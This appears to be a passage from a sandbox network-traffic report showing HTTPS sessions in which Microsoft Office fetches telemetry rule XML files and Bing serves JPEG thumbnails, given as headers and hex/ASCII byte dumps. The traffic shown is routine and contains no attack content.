20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: b54876a2-a01e-0070-6764-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044624Z-178bfbc474bq2pr7hC1NYCkfgg000000076g0000000024fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49743	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	375	OUT	GET /th?id=OADD2.10239402456886_16PSERWAUMTCB5AWR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:25 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 700910 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: BB77AD64C749422C84DD7317B3847627 Ref B: EWR311000108039 Ref C: 2024-11-25T04:46:24Z Date: Mon, 25 Nov 2024 04:46:24 GMT Connection: close
2024-11-25 04:46:25 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 39 3a 31 32 20 30 39 3a 34 35 3a 33 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1 r2i``Adobe Photoshop 25.11 (Windows)2024:09:12 09:45:308
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 1a 51 dc 2d 3b cd dd 59 f1 9f e2 a9 e3 7f ef 56 2e 07 64 2b 36 59 5f 9a ad 43 b5 63 aa 2b 2e df bd 4e 59 ea 1c 59 d1 09 a4 cd 05 7c a5 0d 54 e3 97 fb b5 65 7e 68 eb 2b 1d 0a 57 21 99 15 6a 06 3b 6a d4 89 ba 3a ad 34 55 71 66 75 23 d8 85 9e 9c ae cd 4b e5 ed f9 5a 9f 1d bb 79 95 7c c8 ce 31 95 f4 25 b5 dc b5 72 12 cd f7 aa bc 31 35 5a 8e 37 58 eb 9e a6 a8 ee a5 16 b7 0c bd 23 1d b1 d3 f6 ee a6 b4 75 99 b1 04 87 75 26 76 d4 92 22 ff 00 0d 31 85 68 64 c6 6e dd 4a b4 8a 36 fd da 75 02 57 ea 2e 29 79 a6 35 25 05 16 63 7a 95 65 5a a8 bf eb 2a 65 f9 ab 39 24 6b 09 74 27 56 cd 3a a3 53 52 2d 66 6c b7 17 34 8d 43 50 a3 75 51 4c 86 40 d4 2a 54 db 68 61 b7 ee d3 b8 ad 61 98 a5 51 4e db ba 9c d1 e2 a6 e8 a4 86 ad 49 48 a9 4b 50 cd 05 c5 25 3b 63 35 0d 1b 50 52 8b 62 Data Ascii: Q-;YV.d+6Y_Cc+.NYY\|Te~h+W!j;j:4Uqfu#KZy\|1%r15Z7X#uu&v"1hdnJ6uW.)y5%czeZe9$kt'V:SR-fl4CPuQL@ThaaQNIHKP%;c5PRb
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: ad 26 82 9b e4 53 e7 f3 17 b2 66 76 c7 a3 15 a0 d1 54 4d 15 1c d7 27 d9 b2 a6 29 b8 7a b9 e5 37 ad 23 5b b5 3e 64 2e 49 76 29 c9 b9 be 5a 8b cb 66 ab ed 68 d4 7d 91 ea f9 d0 bd 9c 8a 1e 55 1e 55 5d 6b 66 a6 b4 0d 47 b4 17 23 2b f9 6a b4 2a 55 9f 2f fd 8a 4d 94 b9 82 cc 8b 14 6c a9 76 bd 35 92 8b 80 cc 52 54 9b 1e 93 63 d1 cc 80 89 82 d3 bc b1 52 6d a7 6c a7 74 04 3e 5d 2a a5 4b e5 d1 b2 8b a0 23 d9 4e 54 a7 ec 6a 55 0d 53 cc 01 1a 62 9d 45 3a a4 ae 51 56 96 91 6a 68 63 a0 b4 ae 22 a5 4d 18 a5 50 ab 4b be 95 cd 03 3b 69 b2 3b 52 e5 2a 19 0e ea 10 9e 88 63 1a 6f 34 e6 a6 d3 32 6a e1 4e a4 c5 18 a0 5c a2 ee f7 a5 cd 31 45 3b 6f b5 02 e5 62 e6 96 93 14 e5 14 0f 94 31 46 29 d8 a5 a0 ab 58 6e ca 36 53 f1 4b 40 0d db 46 d5 a5 c5 2e ca 00 f9 0e 8d be d5 63 cb a3 Data Ascii: &SfvTM')z7#[>d.Iv)Zfh}UU]kfG#+jU/Mlv5RTcRmlt>]K#NTjUSbE:QVjhc"MPK;i;R*co42jN\1E;ob1F)Xn6SK@F.c
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 80 a5 9f 74 87 6b 3a 46 ff 00 27 f0 ff 00 08 e3 6d 7a 3f 85 7e 34 5c db f8 e3 5c f0 ef 8a b4 d8 19 b4 db eb 48 2d 2e 74 97 69 7c e8 e7 8c ed 73 8c e4 ee 1f 37 4d bc fa 57 96 f8 ba df c4 2d aa f8 ff 00 52 d4 12 4d 37 4b f1 1d c5 ba e9 da 4d c5 ac 92 b6 d8 2e b6 cd 3c 81 55 d1 7c c6 4d 8b 2b ed dd bb 8e 29 b9 a6 b4 35 a7 15 f0 b6 70 fe 17 f1 ee b5 aa 78 ff 00 50 f0 0d af 89 27 d2 34 3d 0d d6 2b 1f ec bd ad bd 93 83 2a 12 ca db 59 b7 31 db 9f bd d1 ba 57 d1 7f 06 fe 22 5e 5e ea a9 e1 5f 15 5b c7 61 a8 25 8b 35 a4 2f 04 91 4b 37 97 ee ff 00 7b 72 6d 61 eb cd 7c 4d f1 1b 4c f1 8f 80 fc 7e fe 22 b3 8e f9 6f b5 29 a3 68 7e d6 9b 99 d8 f3 fb c8 ff 00 85 ba ed ff 00 76 ba ff 00 83 77 f7 3f 15 6f bf b1 61 82 ea f3 c4 91 5a 48 af 35 dd d2 c5 f3 27 cf c3 6d d9 12 77 Data Ascii: tk:F'mz?~4\\H-.ti\|s7MW-RM7KM.<U\|M+)5pxP'4=+*Y1W"^^_[a%5/K7{rma\|ML~"o)h~vw?oaZH5'mw
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 47 93 fe 71 56 24 1b 2d de 49 3e 58 d7 ef bb fd d4 c7 bd 0c 36 c8 8a de 5e e6 fb 9f ed e6 a7 98 af 66 8a fe 4f f9 c5 1e 4f f9 c5 43 ac 6b 1a 46 91 1b ff 00 6b 6b 5a 6d 86 d4 dd b2 e2 e9 55 b6 ff 00 ba 79 ae 4a fb e3 07 80 ad e4 db 0e a5 77 79 ff 00 5e 96 ad b5 ff 00 17 db 4b da 25 bb 1f b2 3b 3f 27 fc e2 9c b1 57 95 ea 1f 1d 74 f5 df fd 9f e1 7b e9 7f db bb ba 8e 2f fd 07 75 67 49 f1 e6 f9 a7 db 1f 85 ec 62 5f fa 6d a8 b7 fe ca b4 bd b4 7b 8b d9 9e cd e5 d2 ec db f7 ab c4 64 f8 e3 e2 c7 83 74 3e 17 d2 95 9b 72 a3 a4 f2 4a bb bf 0a 2d fe 32 78 cd ad 5e 4b ad 33 43 b5 ff 00 7e 09 3f f8 e5 43 c4 d3 5d 4d 23 42 4f 64 7b 92 a5 71 7f 1c 07 8e 1f c2 b3 5a f8 1e 0b 1b 8b 86 85 be dd 15 df 99 17 9d 09 f9 36 c5 70 ac 3c a9 3e f7 38 6a f3 dd 43 e3 2f 8a 9a 37 85 67 Data Ascii: GqV$-I>X6^fOOCkFkkZmUyJwy^K%;?'Wt{/ugIb_m{dt>rJ-2x^K3C~?C]M#BOd{qZ6p<>8jC/7g
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: d5 f9 90 9d 63 a0 d4 12 55 8f ce 8e ee 48 b6 fd f4 fe 1a c9 9b 54 d4 e0 fd dc 70 6e 8d b6 ff 00 1f f0 fd 3a d2 e9 ba ac f0 48 ed 24 7e 6f fc 0f 6d 1a b5 cf da 2e bf d1 e3 91 55 b6 b7 c9 fc 1e b5 31 c3 b8 bf 78 ce 55 6e ae 8c cd 4a 5b 99 67 7f 33 cc 56 6d bf 22 7f 76 a9 db c5 b6 b5 2f a2 b9 97 e6 69 24 b8 ff 00 6d 2a 6b 7d 22 54 d8 d7 5f ba dd fe ed 75 42 36 47 1c ae d9 1e 93 2b 5b c8 ed fe a9 7f 8d f6 2b 56 ad 9d bc 1f 6a 85 6e 20 93 51 93 67 fa 97 76 55 4e fd 14 fe 94 cf 2f 4f 82 34 8e 19 24 95 99 3f 7d bd 17 6e ea b1 63 6f a7 ad d2 7f af 95 77 ff 00 bb 57 18 ea 0e 4d 23 5b 47 b2 b3 82 74 be 9b 45 b1 ba 93 ee bd a3 a3 79 0f f3 7c c7 e4 fb ad fe ed 63 f8 8b c3 9a 2f 8b e4 be 8d b5 2b ad 1a 6b 0b b5 df 63 0e 97 24 b6 68 c3 e5 56 82 47 2c fc 47 bf af cb e6 Data Ascii: cUHTpn:H$~om.U1xUnJ[g3Vm"v/i$m*k}"T_uB6G+[+Vjn QgvUN/O4$?}ncowWM#[GtEy\|c/+kc$hVG,G
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: e5 63 f6 5a 9d ec 63 65 f2 2c 7f 75 77 2f fc 05 bf c2 b4 61 8f fd 2b cb 68 f6 fc 9b ab 22 49 ed a2 be f2 d6 ee 39 5b 7e e4 74 fe 35 db 91 b5 ba 1f f3 de a9 6a 5e 2d b6 83 5c b1 ba 9b cc 5d 36 5d ca f7 7f 2b 2a 36 ec 21 35 9a cc b5 b5 f5 2f d8 79 1a 5a a6 b9 67 61 6b 0e a0 d7 7b ac e5 9a 15 fb 9b 59 19 db 66 1b 3e fe dc 53 1b 54 df 63 70 cb f2 ad ab b3 3b be ef bc 1b ee ff 00 df 35 e7 3a 96 8d 2d ae ab a8 6a d3 5d fd b3 47 b5 d5 17 ed 70 c2 ff 00 ba 86 37 6f 95 e4 7e 3e 50 dc 65 41 da d8 f5 ae c7 4f f1 0d 8f cf e4 db c8 b0 de 6e 57 f3 a7 56 de db 89 57 f9 47 dd db fa 56 75 73 3a 9a 2e 81 1a 31 2f c9 ac 45 a8 f8 82 df c9 93 75 be c5 6d 89 fc 6d b8 ff 00 fa ff 00 e0 35 47 c6 17 1a ae 8d ae 4d 36 8b 27 d9 ed 75 24 f3 ee f6 41 b7 f7 9d 17 f7 9c ff 00 86 3e b4 Data Ascii: cZce,uw/a+h"I9[~t5j^-\]6]+*6!5/yZgak{Yf>STcp;5:-j]Gp7o~>PeAOnWVWGVus:.1/Eumm5GM6'u$A>
2024-11-25 04:46:25 UTC	16069	IN	Data Raw: bf 38 41 21 23 cc 59 83 f5 e1 54 06 c9 ae ba 39 d3 8d 29 ca b4 39 db 8b bb db 47 ab df 6d f6 fc 88 9e 52 ef 05 19 72 a5 25 6f 55 6b 2f c3 fe 1c 5d 78 c8 9e 22 58 fe cb 1c ad bd a7 de 8e df b9 9b 6e e2 41 eb ed f7 bd e8 d1 4c 4d aa a2 ea 57 72 5d 48 d3 46 c8 f7 69 bb c9 c3 70 db fa ae de c3 6e 3d e9 3c 49 a4 6a 7a 5e a5 0c 7a f4 71 d8 4c af b9 fc 97 93 e4 64 67 f9 9d 59 b3 f4 28 4e 7d 6a e5 bf f6 9e 8d 7c aa b6 89 7e d1 24 93 ba 5d c7 34 f0 3c 6f f7 2e 03 01 db ef 61 b7 86 ef 5e ce 03 3b c0 62 f0 1e ce 3f 12 8e cf aa 49 6a ad ba fe 99 11 c1 e2 b0 d8 c4 e7 2b c2 4d df b6 b7 fc 4d 4d 26 3b 9d 26 c7 56 d1 66 b0 d3 75 6b 3b 89 bf d2 3c 9b e5 dd 0c 88 cf 89 51 b3 bd 18 ff 00 2a ab ab e9 3a 62 df a3 5a df 41 67 6f 70 8b 24 36 f7 2f 24 ac ff 00 bb de ea ae a3 e7 Data Ascii: 8A!#YT9)9GmRr%oUk/]x"XnALMWr]HFipn=<Ijz^zqLdgY(N}j\|~$]4<o.a^;b?Ij+MMM&;&Vfuk;<Q*:bZAgop$6/$
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: ee d6 4f 89 b5 59 e7 f0 fd f5 be 83 7f ff 00 13 06 85 96 de 64 fb a8 df ef 30 23 f4 6a ce 5c 91 57 65 43 9e 4e cb 53 e6 5f 8e 1e 04 f1 7e 8d 07 89 35 2d 07 ec 31 69 f7 53 5c 6c b6 48 21 ba 9f ed 12 28 69 86 cd a7 63 2a ee 3b 8f 2a 3e b5 e4 b6 76 0d a3 78 72 dd 56 ef 4d f3 99 3f da 66 7c af 3f 2f f0 7d 7b d7 ae fc 7a f1 a6 b5 a5 c7 35 8d ac 7f d8 d6 73 eb 9b ae de c6 06 59 ef 6e 3c b1 e7 4e d2 e4 7c bb 97 8e 17 95 f4 af 1a d5 23 fb 54 e9 b7 56 fb 55 ad c4 b2 5c dc 3d c7 cb fb b0 b8 ce ff 00 ef 96 fd 6b e6 2a d4 84 a5 ee 3d 2e 7a 13 52 5a 49 6b 63 9b f2 60 d3 75 19 a4 f3 37 6d 85 65 44 fb cb b8 fd ee dc d7 41 f0 e7 5f fb 05 f2 43 71 24 9f 3c de 55 bf 9d b7 ca 48 4a 9f 94 f7 fb dd eb 95 d2 6e 60 8b ed 16 ba 94 72 4b 22 a6 db 44 7d df 22 f9 9f 36 ee 9b be 5a Data Ascii: OYd0#j\WeCNS_~5-1iS\lH!(ic;>vxrVM?f\|?/}{z5sYn<N\|#TVU\=k*=.zRZIkc`u7meDA_Cq$<UHJn`rK"D}"6Z
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 4f 33 4d 16 e5 cd 43 40 b3 7d 37 6c 7f 6a 5d a9 b5 de 6f 9b 64 83 ef 6d 38 1f 2d 73 37 5a 7b 59 6c fb 47 ca df c6 8f 5a 5a d6 b1 aa cb 75 b6 ea ef e5 57 6f b8 ff 00 2b e7 da b0 6f 9d a5 9d e6 69 24 66 6f bf be bb 69 f3 2d c9 24 f2 2d 9e 44 fd e6 d6 ad 2f 0d bc 56 ba 8c 3b 6e 36 cd bf 72 4d bd 97 66 2b 09 9d 97 66 da d3 f0 ed a4 f3 df 24 de 5f ee e2 f9 9e b5 92 ba 26 5b 1a fa c5 bc af 3c df 6a 92 49 6e 1a 66 67 7d fb b7 e7 9f bd fc 59 ac 1b cb 29 6d 6e bc b9 23 92 26 fb d5 b3 34 eb 3c ee cd bd 57 7f c9 fd e4 a8 e6 3e 6e b9 0a c3 77 e6 af d9 fe fc c8 ab f8 71 53 1d 11 25 3d 27 cf fd f4 d7 5f 77 67 df 7a 8f 52 9d ae 23 85 be cf 02 ed f9 7e 44 fb ff 00 5a b7 e2 49 d6 de 4b 7b 58 7e 56 d9 fe 91 b1 fe 57 63 55 2e 24 ff 00 45 f2 7f ba fb 92 ae f7 03 5b 43 bf 9f Data Ascii: O3MC@}7lj]odm8-s7Z{YlGZZuWo+oi$foi-$-D/V;n6rMf+f$_&[<jInfg}Y)mn#&4<W>nwqS%='_wgzR#~DZIK{X~VWcU.$E[C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49744	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	346	OUT	GET /th?id=OADD2.10239402414228_1EUMX2S6TUEXTBXLL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:25 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 508979 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2E27975014BC46F5897EE4F20B1BFBB6 Ref B: EWR311000104009 Ref C: 2024-11-25T04:46:24Z Date: Mon, 25 Nov 2024 04:46:24 GMT Connection: close
2024-11-25 04:46:25 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 32 20 31 33 3a 32 36 3a 35 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:12 13:26:588
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: b8 b4 e5 e9 4d a5 5a 40 2d 3a 90 0e f4 bd 28 28 75 0a 3d 3b 53 41 fc e9 d4 00 53 a9 a3 d6 8a 00 77 5a 29 07 b5 2d 00 14 ab 49 d2 9d 40 07 14 63 14 0f 7a 28 00 c6 68 e9 45 18 34 00 e1 ef 47 22 8c 8a 1b 9e b4 ae 01 45 0b d6 9d 48 06 d2 fb 51 8a 5c 76 a0 04 c7 6a 5a 31 f2 d1 4a e3 48 28 00 d1 9c d1 f5 a7 71 d8 28 eb cd 1d 28 a9 61 60 a3 af 4a 31 9a 30 68 1d 82 97 f8 69 70 28 1c 71 40 c6 e3 d6 94 f3 d2 96 8a 00 28 f6 a2 8a 00 4e b4 b4 51 40 03 74 a1 7a 51 46 33 40 05 14 63 d2 8c e2 80 0a 29 7d 8d 1d 28 01 00 cd 2e 28 c7 ad 2d 00 04 7a d1 8f 5a 4c 52 d0 03 4e 3b 52 fd 69 69 31 8e 45 00 0b 47 51 c5 2d 18 ef 40 09 d0 71 4a bd 28 a2 80 0a 32 28 a3 19 eb 40 03 74 a3 9a 5f 6a 4c 62 8b 94 18 cf 34 98 f5 a5 f7 14 51 a8 09 9a 09 c5 29 14 29 f9 a8 00 eb 45 37 38 e2 97 Data Ascii: MZ@-:((u=;SASwZ)-I@cz(hE4G"EHQ\vjZ1JH(q((a`J10hip(q@(NQ@tzQF3@c)}(.(-zZLRN;Rii1EGQ-@qJ(2(@t_jLb4Q))E78
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 04 7e b5 6e cb 54 dd 32 8b 92 51 80 c8 24 93 b8 1e 79 f4 e2 ab 45 72 25 86 da d0 ba ec 68 c6 43 f4 dc 38 c0 f4 cf 5a 75 c5 aa dc a8 30 c8 0c d1 0c ee 65 c7 19 fb b9 07 d6 9c 74 64 d4 6a 51 b1 d0 45 73 60 f6 eb 19 80 f9 2c fb c4 af c9 46 eb 81 df 02 b8 dd 6a d2 6b 4d 4b fb 4e df 0e b3 73 73 1a fd d1 e8 48 23 39 ef 9f 5a b0 b2 dd 45 1c 92 2a c6 41 c8 65 dc 42 e4 74 c7 a7 3e f5 a3 ac 45 6f 3e 8e cf 69 b5 e5 f2 46 f2 07 51 8e 41 07 1c e7 d3 35 d5 1d 6c 79 95 34 b9 86 d7 50 ea 11 b4 76 e4 c6 cd 82 f9 c0 c1 07 a8 fa e3 38 ab 3a 23 ce 61 40 46 e6 f3 1d 64 60 3d 38 fc 3d 6b 33 54 b5 99 ec 21 96 da da 34 fb 39 c1 31 03 bb 20 60 e7 bf 5a b3 e1 5b 99 43 04 94 06 2d b9 89 6c 83 bb 3e a2 b3 ad 74 8d 70 ba c8 e9 2c 6e 0c 77 05 9e 3d a6 30 4c ce b9 19 51 df a7 f2 eb 5b Data Ascii: ~nT2Q$yEr%hC8Zu0etdjQEs`,FjkMKNssH#9ZE*AeBt>Eo>iFQA5ly4Pv8:#a@Fd`=8=k3T!491 `Z[C-l>tp,nw=0LQ[
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: bd 8b 59 1e 3d ee 51 d3 f4 a5 fb 42 cb 2c 46 e5 b2 4b f6 1d 3e e8 1e 99 ef 5a 1a f6 a2 6c ac 63 69 20 00 c2 01 55 5c 1d a0 73 8c 0a 92 f2 44 44 fb 32 64 c8 00 50 f9 fb a0 9c 9f e5 fd 2b 0f c5 cd 08 8f c8 f3 f0 55 41 72 3a 12 72 76 fd 7f 95 0b 57 a9 9c b6 26 d5 a6 87 54 d1 ed 5e 44 75 8d 08 66 5c e0 b0 f4 cf a5 41 68 56 ff 00 52 8b 60 db 1c 28 59 d8 0e 15 46 0e 0f e1 4d 92 e6 72 b0 97 45 8a 11 0e d0 cc 3e 52 a7 3c 81 df fc 29 6c cb cb b2 4b 48 19 56 66 08 40 e8 58 81 93 ee 3f 97 15 44 a6 6b 58 c8 a5 e5 12 ff 00 aa 7c 01 df b7 18 e3 f9 d6 7e bc 52 df 50 5f b1 c0 64 65 42 ac 80 e3 27 38 c9 fa 66 b5 b5 1b 49 34 ed 15 c3 dd c5 81 86 39 1f 37 07 81 c7 3f 8f b5 70 d6 7a d5 ec ba b5 cc b3 a6 e6 32 72 99 c7 19 34 a3 ae a6 8d d9 1a f3 09 ad ec e3 9e 74 28 85 f6 90 Data Ascii: Y=QB,FK>Zlci U\sDD2dP+UAr:rvW&T^Duf\AhVR`(YFMrE>R<)lKHVf@X?DkX\|~RP_deB'8fI497?pz2r4t(
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 26 19 76 8d 73 b7 9c 16 19 c7 d7 9a 71 22 46 95 9e d3 63 69 34 9c 15 dc dd 7d fb fe 54 b7 57 8e 6f 0c de 5e c0 1b 1b 73 e9 dc 7a 66 9f 04 12 c1 6f 6b 1a 00 d2 aa e5 c1 39 52 48 e3 e8 29 64 42 6d f7 85 5f 30 9f 99 0f 42 3f cf 6a a2 2e 4f 73 63 e7 2c 6a f9 f2 ce 0e 70 54 7b e7 23 a8 ad 4b 4b 8b 6b 6b 75 67 9c 4b f6 74 3e 52 8f e2 cf 40 7e a7 f3 35 89 1e af 2c 30 9b 6b b9 09 61 36 e6 0d d4 00 07 63 d8 56 9f 87 e3 87 53 b6 96 42 ec 7c b2 23 50 a4 64 b3 1e fe df 5a ae 9a 99 ec ca b6 f6 f3 da 9b 8d 43 51 9c db 35 d3 96 52 72 32 a0 76 c7 7c f6 3c 54 36 48 e6 e5 b5 01 28 7d e3 60 c1 dc 7b e3 77 5a f4 3b 5d e2 d3 ca 1c e4 74 71 9f cf b1 ac 0d 7f 4a 68 ae da 6b 04 b6 45 71 89 10 ae d0 7d c6 3b 8f a5 4c 65 76 69 24 72 3a 85 cd c7 d9 1e 09 c9 65 6c ae c9 00 62 0f a8 Data Ascii: &vsq"Fci4}TWo^szfok9RH)dBm_0B?j.Osc,jpT{#KKkkugKt>R@~5,0ka6cVSB\|#PdZCQ5Rr2v\|<T6H(}`{wZ;]tqJhkEq};Levi$r:elb
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 6f ad 2f ef 8c 70 c1 a8 42 16 65 43 f2 ac a0 1c 8f 6c f2 47 d2 b9 a9 de 0d ab 9d b5 ad 3b 34 8b de 0f 2b 36 9b 34 4f 3a 98 a5 73 24 6b 9c 12 ac b8 70 b8 eb d0 1c 7d 6b cf f5 a8 9b 4e d5 a7 30 1c c4 58 f9 4a c0 83 82 49 fd 0e 47 e1 5b 9e 26 be 97 c0 ba 86 9f 65 73 6d 32 2b c4 1d 19 97 69 29 9e 1b df d7 8a 6f 88 f4 c6 7d 42 4b 91 71 ba dd db ed 16 ee 06 46 d7 19 2a d8 ed 93 d7 b5 74 d0 69 4d ca fa 33 8f 12 9c a9 a8 db 58 9c e6 ab a8 63 4b 88 3c 9c 60 2b 00 78 2c 78 e2 b1 2e ad af 2f 12 68 27 1e 6d ac 80 ed 71 9f 95 88 c8 38 fa e3 9a 6f 8a 2f 12 18 63 b7 f2 00 60 02 e0 e4 e3 fd a3 4b 6f e2 0f 2e d5 22 8c ed 03 07 3d f3 8e 87 d8 fa 57 7f 43 cd b3 72 d4 97 e1 fd a3 14 85 27 42 4c 73 95 90 18 cf 4c 00 30 7b e7 f4 ae bb c4 f7 50 a4 66 14 c2 6d 1b 43 72 df f0 2c Data Ascii: 